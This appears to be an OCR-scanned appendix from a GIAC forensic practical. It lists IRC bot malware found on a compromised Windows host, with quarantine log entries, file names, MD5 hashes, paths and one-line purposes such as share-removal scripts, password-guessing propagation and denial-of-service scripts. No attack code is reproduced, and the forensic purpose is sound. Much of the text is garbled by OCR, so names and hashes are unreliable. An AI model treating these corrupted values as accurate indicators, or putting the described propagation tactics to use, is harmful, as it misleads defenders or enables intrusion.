j ohnd JDCE WWORKGROUP
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Monday, March 17, 2003 7:14:16 PM
Not submitted

ps. vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g

Quar anti ned 5.31 KB | RC Troj an
j ohnd JDCE WORKGROUP

Monday, March 17, 2003 7:14:16 PM
Not submitted

nl ogi n. vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g

Quar anti ned 6.54 KB | RC Troj an
j ohnd JDCE WORKGROUP
Monday, March 17, 2003 7:14:16 PM

Not submtted

v32dri ver. bat

C:\ W NNT\ syst enB2

Backup 3.62 KB BAT. Tr oj an
j ohnd JDCE WORKGROUP
Monday, March 17, 2003 5:36:44 PM

Not submtted

nconnecti on. vxd

C:\ Program Fi | es\ MSH p9\ WB2Confi g

Quar anti ned 5.44 KB I RC Trojan
j ohnd JDOE WWORKGROUP
Monday, March 17, 2003 7:14:16 PM

Not submitted

str.vxd

C.\ W NNT\ syst enB2

Backup 61.6 KB

Backdoor . | RC. Zcr ew

j ohnd JDCE WORKGROUP

Monday, March 17, 2003 5:36:44 PM
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Not submitted

nconn. vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g

Quar anti ned 5.90 KB I RC Troj an
j ohnd JDCE WORKGROUP

Monday, March 17, 2003 7:14:16 PM
Not submitted

acti vex. ocx
C.\wi nnt\syst enB2

Backup 25.1 KB
Backdoor . | RC. Zcr ew
SYSTEM JDCE WORKGROUP

Monday, March 17, 2003 5:16:51 PM
Not submtted

nchk. bat

C:\ Program Fi | es\ MSH p9\ WB2Confi g

Quar anti ned 821 bytes I RC Trojan
j ohnd JDCE WWORKGROUP

Monday, March 17, 2003 7:14:16 PM
Not subm tted

start. bat

C:\ W NNT\ syst enB2

Backup 125 bytes

Backdoor. | RC. Zcrew

j ohnd JDCE WORKGROUP

Monday, March 17, 2003 5:36:44 PM
Not submtted

Pi peCndSrv. exe
C:\ W NNT\ syst enB2

Backup 16.0 KB
Backdoor . Fl uxay
j ohnd JDCE WWORKGROUP
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Friday, March 28, 2003 9:09:33 PM
Not submitted

cs. vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g

Quar anti ned 5.37 KB | RC Troj an
j ohnd JDCE WORKGROUP

Monday, March 17, 2003 7:14:16 PM
Not submitted

Secur e. bat

C.\ W NNT\ syst enB2

Backup 439 hytes

Backdoor . | RC. Zcr ew

j ohnd JDCE WORKGROUP

Monday, March 17, 2003 5:36:44 PM
Not submtted

z.vxd

C:\ Program Fi | es\ MSH p9\ WB2Confi g

Quar anti ned 2.59 KB | RC Troj an
j ohnd JDOE WORKGROUP

Monday, March 17, 2003 7:14:16 PM
Not submtted

bOt . exe

C:\ Program Fi | es\ M5H p9\ WB2Conf i g\ downl oad

Backup 23.5 KB VB2. | RCBot
j ohnd JDCE WWORKGROUP

Monday, March 17, 2003 7:09:58 PM
Not submtted

navdb. dbx

C:\ W NNT\ syst enB2

Backup 17.1 KB

Backdoor . | RC. Zcr ew

j ohnd JDCE WORKGROUP
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Monday, March 17, 2003 5:36:43 PM
Not submitted

ncf g. exe

C. \ W NNT\ syst enB2

Backup 23.5 KB WB2. | RCBot
j ohnd JDCE WORKGROUP

Monday, March 17, 2003 5:36:38 PM
Not submitted

nsock. vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g

Quar anti ned 4.17 KB | RC Troj an
j ohnd JDCE WORKGROUP

Monday, March 17, 2003 7:14:16 PM
Not submtted

cd. vxd

C:\ Program Fi | es\ MSH p9\ WB2Confi g

Quar anti ned 1.76 KB I RC Trojan
j ohnd JDCE WWORKGROUP

Monday, March 17, 2003 7:14:15 PM
Not submtted

str.vxd

C:\ Program Fi | es\ MSH p9\ WB2Confi g

Backup 61.6 KB

Backdoor. | RC. Zcr ew

j ohnd JDOE WWORKGROUP

Monday, March 17, 2003 7:09:56 PM
Not submtted

Script. ocx

C:\ W NNT\ syst enB2

Quar anti ned 1.19 KB I RC Trojan
j ohnd JDOE WWORKGROUP
Monday, March 17, 2003 7:14:16 PM
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Not submitted

nseng. vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g
Quar ant i ned 19.6 KB
j ohnd JDCE
Monday, March 17, 2003 7:14:16 PM

Not submtted

bl . vxd

C.\ Program Fi | es\ MsH p9\ WB2Confi g
Backup 23.5 KB
j ohnd JDCE
Monday, March 17, 2003 7:09:58 PM

Not subm tted

newexpl or e. exe
C:\ W NNT\ syst enB2

Backup 15.0 KB
j ohnd JDCE
Monday, March 17, 2003 5:36:40 PM

Not subm tted

pxy. vxd

C:\ Program Fi | es\ MSH p9\ WB2Confi g
Quar anti ned 1.72 KB
j ohnd JDCE
Monday, March 17, 2003 7:14:16 PM

Not submtted

bl . exe

C\Tenp\Drivers

Backup 23.5 KB
j ohnd JDOE
Monday, March 17, 2003 5:41:35 PM

Not submtted

As part of GIAC practical repository.

I RC Troj an
WORKGROUP

Backdoor . Sdbot
WWORKGROUP

I RC Trojan
WWORKGROUP

WB2. | RCBot
WWORKGROUP

Author retains full rights.
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Appendix D — Full list of maliciousfilesretrieved from suspect host “ JDOE”

Files sorted by creation date. Entries highlighted in yellow indicate files whose MD5 hash values are identical to at least one other file on the list.

Creation
Dat e

File nane

Pat h

Fil e Purpose

Bot Cuess

11/ 19/ 2002

\wi nnt\ syst enB2

iroffer / xdcc
configuration file,
ref erences

#U ti mat e~3DWarez and

bot #1 / Bl ackMarket

03: 56p bm dl | 71c607adf 570e466a911ae0elf 010a02 | \ os2\dl I\ packs several |RC servers / U timat e3DVWar ez
11/ 19/ 2002 \wi nnt\ systenB2 bot #1 / Bl ackMarket
03: 56p BugSl ayer Uti | . dl | 7f a6adeb44c09ccd324ce804d3323010 | \os2\dl I\ packs binary file / U tinmat e3DWarez

11/19/ 2002

\'wi nnt\ systenB2

configuration file
for Serv-U FTP;

bot #1 / Bl ackMar ket

03: 56p serv-u.ini 99e54d1bc8elf 1d6b434836ad0b76874 | \ os2\dl I\ packs speci fies port 5789 / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 binary file; bot #1 / Bl ackMar ket
03: 56p tzolibr.dll €39396¢57353dd2a379d2f 5a2cb1435f | \ os2\dl |\ packs references tzo.com / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMarket
03:57p ccd. dl| 8897dd14d4652e43a18f 84421b9c195e | \ os2\dl I\ packs text file / Utimat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMarket
03:57p ccdx. dl | a80bel78c95ac04b7238892ec60ebf 71 | \ os2\ dl I \ packs text file / Utimat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMarket
03: 57p ccdx. dl | . bkup 0d8c878dbc02e2a34807b295e48e9ae2 | \ os2\dl I\ packs text file /[ U timat e3DVar ez

11/19/ 2002

\'wi nnt\ systenB2

text file to indicate
amount of free disk

bot #1 / Bl ackMar ket

03: 57p chgdir.dl| a4a28df 7c9a448d07baaad293adc527e | \ os2\dl | \ packs space, current users / U timat e3DWar ez

script, "Configure

1.28" to deternmine OS
11/ 19/ 2002 \'wi nnt\ systenB2 and conmpile iroffer / | bot #1 / Bl ackMarket
03:57p configure a%9al0a0261a52f c0494f 332ee19f 1d0d | \ os2\ dl I \ packs xdcc code /[ Utimat e3DVWar ez
11/19/ 2002 \wi nnt\systenB82 | text of GNU public bot #1 / Bl ackMar ket
03:57p copyi ng f 73069ee5f el0af 114e5300a37d32d44 | \ os2\dl | \ packs l'icense / U timat e3DVWar ez

standard cygwi n

bi nary (Cygw n

provi des support for

Uni x binaries to run
11/ 19/ 2002 \'wi nnt\ syst enB2 ina Wn32 bot #1 / Bl ackMarket
03: 57p cygwi nl.dl | fef 19f 891b338747452702f a8029b116 | \ os2\dl | \ packs envi ronnment) / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 standard Fi reDaenon bot #1 / Bl ackMarket
03:59p Fi r eDaenon. exe e3bb90916eb76946eb51f 563f f e526f 7 | \ 0s2\ dl | \ packs bi nary / U timat e3DVWar ez
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Creation

Dat e File nane VD5 Pat h Fi | e Purpose Bot Guess
standard iroffer
bi nary (based on MD5
hash); iroffer
11/ 19/ 2002 \wi nnt\systenB2 | enables file sharing bot #1 / Bl ackMar ket
03: 59p XX. eXX b21bd3d878af 6167026d89d8bclccdb2 | \ os2\dl I\ packs over | RC / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ syst enB2 bot #1 / Bl ackMarket
04: 00p gsmdl | nfa - 0 byte file \os2\dl | \ packs 0 byte file / U timat e3DVWar ez
batch file to set
Read only, Hi dden,
and System attri butes
11/19/ 2002 \wi nnt\systenB82 | on the bot bot #1 / Bl ackMar ket
04: 00p hi de. bat 1e706507f c610c96b573c433f 814b790 | \ 0os2\dl I \ packs installation fol der / U timat e3DVWar ez
11/ 19/ 2002 \wi nnt\ syst enB2 bot #1 / Bl ackMarket
04: 00p ig.dll 331ba412bb8337462f f ee65cc10cdee3d | \ os2\dl | \ packs binary file / U timat e3DVWar ez

11/ 19/ 2002

\wi nnt\ syst enB2

iroffer.cron 1.6,
configuration file to
run iroffer as a cron

bot #1 / Bl ackMarket

04: 00p iroffer.cron 12e2e3f cdecb5d16884bc2c69a9aa98b | \ os2\dl | \ packs j ob (schedul ed task) / U timat e3DWarez
11/19/ 2002 \wi nnt\systenB82 | text file containing bot #1 / Bl ackMar ket
04: 00p key.ol d 220b844512b2celb325ael4f c8eab5d17 | \ os2\dl I\ packs regi stration key /[ U tinmate3DWarez

hexadeci mal log file

showi ng connecti ons

to various IRC

servers / channel s
11/19/ 2002 \wi nnt\systenB82 | controlled by the bot #1 / Bl ackMar ket
04: 00p | dcd. dl | nfa - 4G file (too |arge) \os2\dl | \ packs attackers / U timate3DWarez
11/19/ 2002 \wi nnt\ syst enB2 binary file - OpenSSL | bot #1 / Bl ackMarket
04: 0lp l'i beay32.dl | 7d7a08727bdf ac87b7f 8c8ae7a08c279 | \ os2\dl |\ packs encryption library / U timat e3DVWar ez

binary file - Qasis

DTD Entity Resol ution

XML Catalog v1.0 (? -
11/ 19/ 2002 \wi nnt\systenB2 | http://ww. oasi s- bot #1 / Bl ackMar ket
04:02p I'ibxm 2.dlI adaf 2e9f bdc397e810ab2e753e0el4le | \os2\dl I\ packs open. or g) / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMar ket
04: 04p l'icense.txt a006af 4be6ad247f 665ee87ab8bbe849 | \ os2\dl I\ packs Serv-U FTP EULA / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMarket
04: 04p nybot . xdcc a0c107f f 9de757dc4e965f 5f 1adf d826 | \ os2\dl | \ packs text file / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMarket
04: 04p mybot . xdcc. bkup 317830d40429bf 8ec068bc0bb7028109 | \ os2\dl I\ packs text file / Utimat e3DVar ez
11/ 19/ 2002 \'wi nnt\ systenB2 | ogoff banner for bot #1 / Bl ackMarket
04: 04p of f.txt 695f 168747814c11cc4c00f f 9af e5995 | \ os2\ dl I\ packs Serv-U FTP / U timat e3DVWar ez
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Creation

Dat e File nane VD5 Pat h Fi | e Purpose Bot Guess
11/ 19/ 2002 \'wi nnt\ syst enB2 | ogon banner for bot #1 / Bl ackMarket
04: 04p on. t xt ad4dee3ba8bb0bddf a8637a837cdf 50d | \ os2\dl | \ packs Serv-U FTP / U timat e3DVWar ez
batch file to renove
hi dden W ndows shares
(C$ - F$, |PCs,
ADM N$) and to stop
11/19/ 2002 \wi nnt\systenB82 | the Messenger and bot #1 / Bl ackMar ket
04: 04p secur e. bat 4d1317db452f a2bc11c9e776d3f 6a9c9 | \ os2\dl | \ packs Net Bl OS servi ces / U timat e3DVWar ez

11/19/ 2002

\'wi nnt\ systenB2

binary file; RAR 3.0
by Eugene Roshal
(shareware version),
W ndows conpressi on

bot #1 / Bl ackMar ket

04: 04p servi ces. exe d567a6d0647f 80ecb5a761ddd9ad367c | \ os2\dl I\ packs utility / Utimat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 binary file; OpenSSL bot #1 / Bl ackMar ket
04: 05p ssl eay32. dl | 35e95d8777732a6¢cbd82b01b90e06df 9 | \ 0s2\ dl I \ packs encryption library / U timat e3DVar ez

11/19/ 2002

\'wi nnt\ systenB2

binary file, SvcAdmn
Pro v1.5 Build
20020816; part of

Fi reDaenon, used to
install / manipul ate

bot #1 / Bl ackMar ket

04: 05p svcadni n. dl | 07f 6a7390af 1c3e2ca85b9f 7e60deb90 | \ os2\dl | \ packs services / U timat e3DWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 binary file; renaned bot #1 / Bl ackMar ket
04: 06p svchost . exe 5c43a0f d3e585e02722a633bc7d7elf 0 | \ os2\dl I\ packs Serv-U FTP daenon / U timat e3DVWar ez

11/19/ 2002

\'wi nnt\ systenB2

batch file to use
Fi reDaenon to install
vari ous execut abes as

bot #1 / Bl ackMar ket

04: 08p tr. bat €0196e69b43c20e78ba3ealf Of 33af 74 | \ os2\dl | \ packs services / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMar ket
04: 08p trl. bat a5d758f b7f 5¢30742f 427aae60891b9e | \ 0s2\dl | \ packs variant of tr.bat / U timat e3DVWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMar ket
04: 08p tr2. bat 934f 5e585ee71f 3181eeaf 059af 7cf 28 | \ os2\dl | \ packs variant of tr.bat / U timat e3DVWar ez
iroffer configuration
file, references
11/ 19/ 2002 \wi nnt\systenB82 | #Bl ackMar ket and bot #1 / Bl ackMarket
04: 08p wg. conf f17c724a222752308a8c86ab6ae37ca2l | \os2\dl |\ packs several | RC servers / U timat e3DWar ez
11/ 19/ 2002 \'wi nnt\ systenB2 bot #1 / Bl ackMarket
04: 08p xdcent . i gnl 3946e4elf c9cef 95ae198298f 00898d0 | \ os2\ dl | \ packs binary file / U timat e3DVWar ez

11/ 19/ 2002
04: 08p

xdccnt . | og

4e659ce06c639c26b5a8aba07c090268

\wi nnt\ syst enB2
\os2\dl | \ packs

xdcc / iroffer |og
file listing date of
2002- 10- 06

bot #1 / Bl ackMarket
/ U timte3DWar ez
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Creation

11/19/ 2002

\'wi nnt\ systenB2

contains process id

Dat e File nane VD5 Pat h Fi | e Purpose Bot Guess
xdcc / iroffer |og
file listing date of
2002- 09- 25 and
referencing an | RC
server, several
channel s, and a few
| ogons from users
11/ 19/ 2002 \'wi nnt\ systenB2 connected to the bot #1 / Bl ackMarket
04: 08p xdcent . | og. 2002- w38 | 97e43f f 9200ed62f 2927f 5d3bcb78bc3 | \ 0s2\ dl | \ packs channel s / U timat e3DVWarez
source files to
\'wi nnt\ systenB2 conpile iroffer (by
11/ 19/ 2002 \os2\dl | \ packs\ PMG, bot #1 / Bl ackMarket
04: 09p admn.c 4644a12375cf 81930a5b50e35f 352efc | src http://iroffer.org) / U timat e3DVWar ez
\wi nnt\ syst enB2
11/ 19/ 2002 \os2\dl I \ packs\ source files to bot #1 / Bl ackMar ket
04:09p dccchat. c f 434b4df a202cda2ac9e1789b9a0d760 | src conpile iroffer /[ U timat e3DVar ez
\'wi nnt\ syst enB2
11/ 19/ 2002 \os2\dl I \ packs\ source files to bot #1 / Bl ackMar ket
04:09p defines.h e599c0d2642deded8da784f 17665b51f | src conpile iroffer / Utimat e3DVWar ez
\'wi nnt\ systenB2
11/ 19/ 2002 \os2\dl | \ packs\ source files to bot #1 / Bl ackMarket
04: 09p di splay. c ce447a342a46¢c83c33cf593d0a4049dc | src conpile iroffer / U timat e3DVWar ez
\wi nnt\ syst enB2
11/ 19/ 2002 \os2\dl I \ packs\ source files to bot #1 / Bl ackMar ket
04:09p gl obal s. h 593f 9b99616d96e57f 334adddalObe7f1 | src conpile iroffer / Utimat e3DVWarez
\'wi nnt\ systenB2
11/ 19/ 2002 \os2\dl | \ packs\ source files to bot #1 / Bl ackMarket
04: 09p headers. h aca3213438716118d0f 6f 0df 6056120b | src conpile iroffer / U timat e3DVWar ez
\wi nnt\ syst enB2
11/ 19/ 2002 \os2\dl I \ packs\ source files to bot #1 / Bl ackMar ket
04: 09p iroffer.c 0d3893619f 8ea23908314cea92b2b2033 | src conpile iroffer / U timat e3DVWar ez
\'wi nnt\ systenB2
11/ 19/ 2002 \os2\dl | \ packs\ source files to bot #1 / Bl ackMarket
04: 09p m sc. c 1d474a2448c65b18561967848a90cc5f | src conpile iroffer / U timat e3DVar ez
11/ 19/ 2002 \'wi nnt\ syst enB2 bot #1 / Bl ackMarket
04: 09p xdccnt . nmsg nfa - 0 byte file \os2\dl | \ packs 0 byte file / U timat e3DVWar ez
text file, presunable

bot #1 / Bl ackMar ket

04:09p xdcent . pid 16a23be9bf 2d83dd8b537f 84e4c646ed | \ os2\dl |\ packs (pid) / U timat e3DVWar ez
\'wi nnt\ systenB2

11/ 19/ 2002 \os2\dl I \ packs\ source files to bot #1 / Bl ackMar ket

04: 10p pl ugins.c 84d0af 828906d4615eef 3d70601af 45d | src conpile iroffer / U timat e3DVWar ez
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Creation
Dat e

File nane

MD5

Pat h

Fi | e Purpose

Bot Cuess

11/ 19/ 2002
04:10p

transfer.c

eb1b93bal906a391750ab4bd9cf 42e8d

\wi nnt\ syst enB2
\os2\dl I \ packs\
Src

source files to
conpile iroffer

bot #1 / Bl ackMar ket
/ U timte3DWarez

11/19/ 2002
04:10p

upl oad. c

€7988f 21b2f 5f ec38dd02d6003bc5a95

\'wi nnt\ systenB2
\os2\dl I \ packs\
src

source files to
conpile iroffer

bot #1 / Bl ackMarket
/ U timt e3DWar ez

11/ 19/ 2002
04:10p

utilities.c

c15db5e7e7b678d4c18071bb7e63b5da

\wi nnt\ syst enB2
\os2\dl I \ packs\
Src

source files to
conpile iroffer

bot #1 / Bl ackMar ket
/ U timte3DWarez

02/ 06/ 2003
05: 37p

cygwi nl. dl

fef 19f 891b338747452702f a8029b116

\'wi nnt\ syst enB2
\rnmtcfg

standard cygwi n

bi nary (Cygw n

provi des support for
Uni x binaries to run
in a Wn32

envi ronment)

bot #2 /| Fi RM

02/ 06/ 2003

\wi nnt\ syst enB2

binary file
(VBScript), used to
run graphical (GU)
W ndows apps in

05: 38p hi ddenr un. exe 2a79c2452772a7d6b7cef 67b52e2a2al |\rntcfg hi dden node bot #2 /| FiRM

02/ 06/ 2003 \wi nnt\systenB82 | binary file (Visual

05: 38p JAsfv. dl | e619c5c76d964b734c57e6b835¢cf 14b9 | \rntcfg C++) bot #2 / Fi RM
configuration file;

02/ 06/ 2003 \'wi nnt\ systenB2 references site

05: 38p Jasfv.ini 3ee72148f 1dca56cbb26e8cc6099131a | \rntcfg "Fi RM' bot #2 / Fi RM
batch script to
del ete W ndows hi dden

02/ 06/ 2003 \'wi nnt\ systenB2 share C$, ADM N$

05: 38p Nobi os. bat 294ed3a0900e634853c12ch9cf 668317 | \rntcfg | PC$ bot #2 / Fi RM

02/ 06/ 2003
05: 38p

regkeyadd. r eg

32bf 4c0b4b02aa377415¢c65e736¢cd6e9

\wi nnt\ syst enB2
\rntcfg

W ndows registry
entries to add
rmtcfg. exe and
start.bat to the
"Run" key and to
permanent |y disabl e
hi dden shares

bot #2 / Fi RM

02/ 06/ 2003
05: 38p

rmtcfg.cfg

cc94b76bdb782b3d524f 17a8145d5bc4

\'wi nnt\ systenB2
\rntcfg

xdcc configuration
file referencing
"FiRM' as well as
various | RC servers /
channel s

bot #2 / Fi RM
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02/ 06/ 2003 \wi nnt\systenB82 | binary file, IRC
05: 39p rmtcfg. exe 1c18aa83802860a607543¢c491172b417 |\rntcfg client bot #2 / Fi RM

02/ 21/ 2003
07: 04p

vnsyst ask. exe

0a552590c2e48424adf 472c8ba787a28

\ Tenp\ Drivers

binary file, WnVNC
execut abl e (Virtual
Net wor k Conputi ng
all ows renote

gr aphi cal (desktop)
access to a Wndows
host)

bot #3 / Bl oodLab
m crobot s

02/ 21/ 2003

binary file; IRC
client, identical to
ncf g. exe (based on

bot #3 / Bl oodLab

07: 05p bl . exe a212f 2e8b125b6c82e59ballf 8f b8327 | \ Tenp\ Dri vers VD5) ni crobot s

batch file to install

vnsystask from

c:\winnt\fonts\truety

pe and start the
02/ 21/ 2003 service; identical to | bot #3 / Bl oodLab
07: 05p go. bat 75303b4aa86302d76a2e5f 1d647d8eda | \ Tenp\Dri vers nchk2. bat m cr obot s

binary file; IRC

client, includes

references to IRC
02/ 21/ 2003 server and channel bot #3 / Bl oodLab
07: 05p ncfg. exe a212f 2e8b125b6c82e59ballf 8f b8327 | \wi nnt\systenB2 | and term "ni crobots" m cr obot s
02/ 21/ 2003 binary file, part of bot #3 / Bl oodLab
07: 05p omithread_rt.dl|I d0dc05875f 48172d7044957cc3e5b530 | \ Tenp\ Dri vers W nVNC m cr obot s

binary file, possibly

02/ 21/ 2003

to run conmands (or
cnd. exe) as a

bot #3 / Bl oodLab

07: 05p Pi peCrdSrv. exe b4b58bc27f 9c8cabd5a275cda3c3c0Ofe | \wi nnt\systenB2 | service? m crobot s
02/ 21/ 2003 binary file, part of bot #3 / Bl oodLab
07: 05p VNCHooks. dl | eb7cdd565aee05f e0779e1d5c7de74ed | \ Tenp\ Dri vers W nVNC m cr obot s

installation

(dropper) file used
02/ 25/ 2003 to install the bot #3 - Bl oodLab
09: 53p sys33. exe 5597d1dd4a7f 6df beb8c027e06658873 | \ wi nnt following files ni crobots

\ Program batch file to run

02/ 25/ 2003 Files\MSH p9\WB | c:\tenp\drivers\bl.ex | bot #3 / Bl oodLab
09: 55p a. vxd 91800829d5273b1959f 391d67aeb0789 | 2Confi g e nm crobot s
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binary file (Visual
C++); possibly part
\ Program of Renpte Admin
02/ 25/ 2003 Files\MSH p9\WB | (Radmin) utility, bot #3 / Bl oodLab /
09: 55p admdl | . dl | €915181e93f e3d4c41b1963180d3c535 | 2Confi g simlar to VNC m cr obot s
W ndows registry
\ Program entry to add
02/ 25/ 2003 Fi | es\ MSH p9\ V8 Net wor k32. exe to the bot #3 / Bl oodLab /
09: 55p boot . reg 19885cdc3cd0556¢8a5137¢c70db4c8a7 | 2Confi g "Run" key nm crobot s
Script to launch UDP
\ Program flood denial of
02/ 25/ 2003 Fi | es\ MSH p9\ V8 service; references bot #3 / Bl oodLab /
09: 55p cd. vxd 28803c2dh30e78b23719ce2dcae99210 | 2Config "Bl oodLab" m cr obot s

02/ 25/ 2003
09: 55p

control.vxd

b8ealal341c84ab08c10aa014b8093cf

\ Program
Fi | es\ MSH p9\ W8
2Confi g

Script to infect a
target system by
copying various files
to the host, renoving
hi dden W ndows
shares, and executing
copied files

bot #3 / Bl oodLab /
m crobot s

Script to run "Cayman
scan" using file
cscan. vxd (not

found); possibly used
\ Program to scan for
02/ 25/ 2003 Fil es\MSH p9\WB | additional vul nerable | bot #3 / Bl oodLab /
09: 55p cs. vxd 58096beef 1€498721f 02b12e9e73b223 | 2Confi g host s nmi crobot s
\ Program binary file;
02/ 25/ 2003 Files\MSH p9\WB | legitinate M crosoft bot #3 / Bl oodLab /
09: 55p Msvcp60. dl | 6050bcc1b23f 3df 7al876chdchbac8232 | 2Confi g C++ runtine library nmi crobot s
batch file to attenpt
to infect other
hosts; attenpts to
| ogon to C$ hidden
share usi ng vari ous
user nane/ passwor d
conbi nati ons; copies
\ Program and executes
02/ 25/ 2003 Files\MSH p9\WB | additional files if bot #3 / Bl oodLab /
09: 55p nchk. bat 61eeb8408c14c8877335ddc6f 4acf 08f | 2Confi g successf ul m cr obot s
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\ Pr ogram
02/ 25/ 2003 Fi | es\ MSH p9\ V8 I RC configuration bot #3 / Bl oodLab
09: 55p nchk. vxd 4841a920b872148dc5¢chb1bd0031bef 45 | 2Confi g file m cr obot s
batch file to install
vnsystask from
c:\winnt\fonts\truety
\ Program pe and start the
02/ 25/ 2003 Fi | es\ MSH p9\ V8 service; identical to | bot #3 / Bl oodLab
09: 55p nchk?2. bat 75303b4aa86302d76a2e5f 1d647d8eda | 2Confi g go. bat ni crobot s

02/ 25/ 2003
09: 55p

ncl ass. vxd

9f 844e70d49014c01f 6a047e5887c930

\ Program
Fi | es\ MSH p9\ W8
2Confi g

configuration file,
references I RC
servers and ports

bot #3 / Bl oodLab
m crobot s

02/ 25/ 2003
09: 55p

nconfi g. vxd

d2f 5be7cad8856f 5bbdf 1ab8030f 8379

\ Pr ogram
Fi | es\ MSH p9\ V8
2Confi g

Script to check | ogon
and di splay | ogon
nessage

bot #3 / Bl oodLab
m cr obot s

02/ 25/ 2003
09: 55p

nconn. vxd

0d1416812946ce63ce5d879730d883e9

\ Program
Fi | es\ MSH p9\ W8
2Confi g

Script to scan for
and i nfect additional
NT Servers

bot #3 / Bl oodLab
m crobot s

02/ 25/ 2003
09: 55p

nconnecti on. vxd

c45delc241a0cd338chbbcd6ba646a52d

\ Program
Fi | es\ MSH p9\ V8
2Confi g

Script to run "Cisco
scan"

bot #3 / Bl oodLab
m cr obot s

02/ 25/ 2003
09: 55p

Net wor k32. exe

47c9ce2e932d24c62437dbe703f 51dae

\ Program
Fi | es\ MSH p9\ W8
2Confi g

binary file

bot #3 / Bl oodLab
nm crobot s

Text file listing hex

09: 55p

nl ogi n. vxd

00de01df c5e547e7¢10da87ab0cdc116

2Config

web servers

\ Program equi val ents of
02/ 25/ 2003 Fi | es\ MSH p9\ W8 deci mal numbers 0 - bot #3 / Bl oodLab
09: 55p nhex. vxd 1a32ab59370c1d199b0cdc6ce330db26 | 2Confi g 255 m cr obot s

\ Program
02/ 25/ 2003 Files\MSH p9\WB | Script relating to bot #3 / Bl oodLab

m cr obot s

02/ 25/ 2003

\ Program
Fi | es\ MSH p9\ W8

Script to run ping

bot #3 / Bl oodLab

09: 55p nn. vxd 3cfb67a36¢f f 2799d9e048d7c026a2ee | 2Confi g comand m crobot s
binary file

\ Program Mot her board Moni t or
02/ 25/ 2003 Files\MSH p9\WB | (?) bot #3 / Bl oodLab
09: 55p npeer . vxd 6c312ae661c358911bf 29039f 0b0el123 | 2Confi g (mbm i vew redev.com | nicrobots

\ Program text file specifying
02/ 25/ 2003 Files\MSH p9\WB | variables used in bot #3 / Bl oodLab
09: 55p nqui ck. vxd 303ae3e60d460cf 1200b5ae02d5b2f 03 | 2Confi g ot her scripts m cr obot s
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Dat e

File nane

MD5

Pat h

Fi | e Purpose

Bot Cuess

02/ 25/ 2003
09: 55p

nr eader . vxd

1991301f 2482d6e05a15eb9b702612cf

\ Pr ogram
Fi | es\ MSH p9\ V8
2Config

IRC "aliases"
configuration file

(enpty)

bot #3 / Bl oodLab
m cr obot s

02/ 25/ 2003

\ Program
Fi | es\ MSH p9\ W8

Configuration file to
send ping fl ood

bot #3 / Bl oodLab

09: 55p nrevq. vxd 75f 75010ca6ea4b205d13403675d2c20 | 2Confi g deni al of service m crobot s

\ Program Script to run various
02/ 25/ 2003 Fil es\MSH p9\WB | denial of service bot #3 / Bl oodLab
09: 55p nseng. vxd 190f ae331f 1¢7760b6adb38c60230cd2 | 2Confi g attacks m cr obot s

02/ 25/ 2003
09: 55p

nseries. vxd

82167f 08d38a65d03d0d38392e8caf 2c

\ Program
Fi | es\ MSH p9\ V8
2Config

Script to install and
| oad | RC bot,

i ncludes reference to
"Coded by COde- Red"

bot #3 / Bl oodLab
m cr obot s

02/ 25/ 2003

\ Program
Fi | es\ MSH p9\ W8

Script for use with
BNC (| RC bounce)

bot #3 / Bl oodLab

09: 55p nsock. vxd 7df 247a8d1leccbc0b666a0931c2d66el | 2Config server m crobot s
\ Program
02/ 25/ 2003 Fi | es\ MSH p9\ V8 bot #3 / Bl oodLab
09: 55p nspeed. vxd nfa - 0 byte file 2Confi g 0 byte file m cr obot s
\ Program
02/ 25/ 2003 Fi | es\ MSH p9\ W8 | RC server bot #3 / Bl oodLab

09: 55p

nsyst em vxd

4a346¢f 2a6€69932249974b10d07c374

2Confi g

configuration file

m crobot s

02/ 25/ 2003

\ Program
Fi | es\ MSH p9\ W8

binary file, used to
execut e conmands on a

bot #3 / Bl oodLab

09: 55p NTCd. exe 51f ed62eac6368c5bf 0a267893f e82f b | 2Confi g renote W ndows host m cr obot s

\ Program Text file, appears to
02/ 25/ 2003 Files\MSH p9\WB | be a |ist of hacker bot #3 / Bl oodLab
09: 55p ntel . vxd 7d70dc7723712f f 4e65a7cd4b153aef5 | 2Config "handl es" m cr obot s

02/ 25/ 2003
09: 55p

nt server. vxd

nfa - 0 byte file

\ Pr ogram
Fi | es\ MSH p9\ V8
2Confi g

0 byte file

bot #3 / Bl oodLab
m crobot s

\ Program

02/ 25/ 2003 Fi | es\ MSH p9\ W8 binary file, part of bot #3 / Bl oodLab
09: 55p omithread_rt.dl|I d0dc05875f 48172d7044957cc3e5b530 | 2Confi g W nVNC m cr obot s

\ Program
02/ 25/ 2003 Fi | es\ MSH p9\ W8 binary file, relates bot #3 / Bl oodLab

09: 55p Pi peCnd. exe 970078b1ald69f 05bcd3944eb96al16b9 | 2Confi g to Pi peCndSrv. exe nmi crobot s

\ Program
02/ 25/ 2003 Files\MSH p9\WB | Script to execute bot #3 / Bl oodLab
09: 55p ps. vxd 9871f 03f 4c7725ea719cac5de0032¢ch0 | 2Confi g port scan m crobot s
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\ Program Script to execute
02/ 25/ 2003 Files\MSH p9\WB | nai| bonb denial of bot #3 / Bl oodLab
09: 55p pxy. vxd ¢55d7f c8a90c29bb8e4d05c336ed8el4 | 2Confi g service nm crobot s
\ Program
02/ 25/ 2003 Fi | es\ MSH p9\ W8 bot #3 / Bl oodLab
